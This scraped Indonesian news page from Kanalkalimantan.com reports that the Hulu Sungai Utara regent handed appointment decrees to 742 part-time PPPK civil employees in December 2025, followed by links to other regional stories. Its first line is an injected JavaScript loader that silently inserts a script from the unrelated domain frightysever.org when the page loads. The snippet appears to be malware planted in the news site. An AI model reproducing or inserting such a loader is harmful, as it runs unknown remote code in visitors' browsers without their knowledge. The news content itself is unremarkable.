(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Sebanyak 742 Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) Paruh Waktu menerima Surat Keputusan (SK) dari Pemerintah Kabupaten Hulu Sungai Utara (HSU). Penyerahan SK tersebut digelar di halaman kantor Bupati HSU, Selasa (23/12/2025).
Penyerahan SK diserahkan langsung oleh Bupati HSU, H Sahrujani dan disaksikan oleh Sekretaris Daerah HSU Adi Lesmana, Kepala SKPD dilingkungan Pemkab HSU dan perwakilan Forkopimda HSU serta undangan lainnya.
Bupati Sahrujani mengungkapkan rasa syukur dan ucapan selamat atas penyerahan SK bagi PPPK Paruh Waktu di lingkungan Pemkab HSU.
Baca juga: Personel Polres Banjarbaru Jalani Tes Urine dan Pemeriksaan Senpi
Menurutnya penyerahan SK ini tidak hanya seremonial, namun kegiatan ini dijadikan sebagai momentum untuk lebih memperbesar pengabdian dan memperkuat semangat selaku bagian dari ASN yang berkarakter, berintegritas, profesional, dan mampu berkerja dengan penuh dedikasi dan disiplin.
Dia berharap para penerima SK dapat bertanggung jawab dalam mengemban amanah untuk melayani masyarakat dengan sepenuh hati menuju pemerintahan yang lebih responsif, inklusif dan berorentasi pada kesejahteraan rakyat.
Baca juga: ‘Bazakat Hadangan’ Warga Desa Bararawa, Wujud Syukur atas Hasil Ternak Berlimpah
“Jangan pernah merasa status paruh waktu mengurangi nilai pengabdian, justru fleksibilitas ingin memberikan kesempatan untuk menunjukan kreatifitas ,inovasi,dan semangat baru dalam pelayanan,” tegas Haji Jani -sapaan Bupati Sahrujani-.
Bupati Sahrujani memastikan bahwa Pemerintah Kabupaten HSU terus mendukung dalam upaya peningkatan kapasitas dan kesejahteraan bagi ASN di lingkungan Pemkab HSU.
Penyerahan SK ini merupakan bagian dari komitmen pemerintah daerah dalam upaya mensejahterakan masyarakat melalui pengabdian PPPK Paruh Waktu dan yang lebih bermakna, penyerahan SK ini merupakan pengakuan negara atas pengabdian para PPPK selama ini.
Baca juga: Tabrak Lari Dump Truk Dinihari di Cempaka, Sopir Coba Hilangkan Barang Bukti
“Penyerahan SK ini merupakan pengakuan negara terhadap para tenaga honorer atas pengabdiannya selama ini melalui pemerintah daerah, sehingga mereka sejak saat ini sudah menjadi bagian dari ASN dan diharapkan mampu mendorong peningkatan kinerja kedepannya,” tukasnya.
Jumlah PPPK Paruh Waktu yang menerima SK tersebut terdiri dari tenaga guru 6 orang, dan 59 orang tenaga kesehatan, dan 677 orang tenaga tehnis, total jumlah keseluruhan 742 orang. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.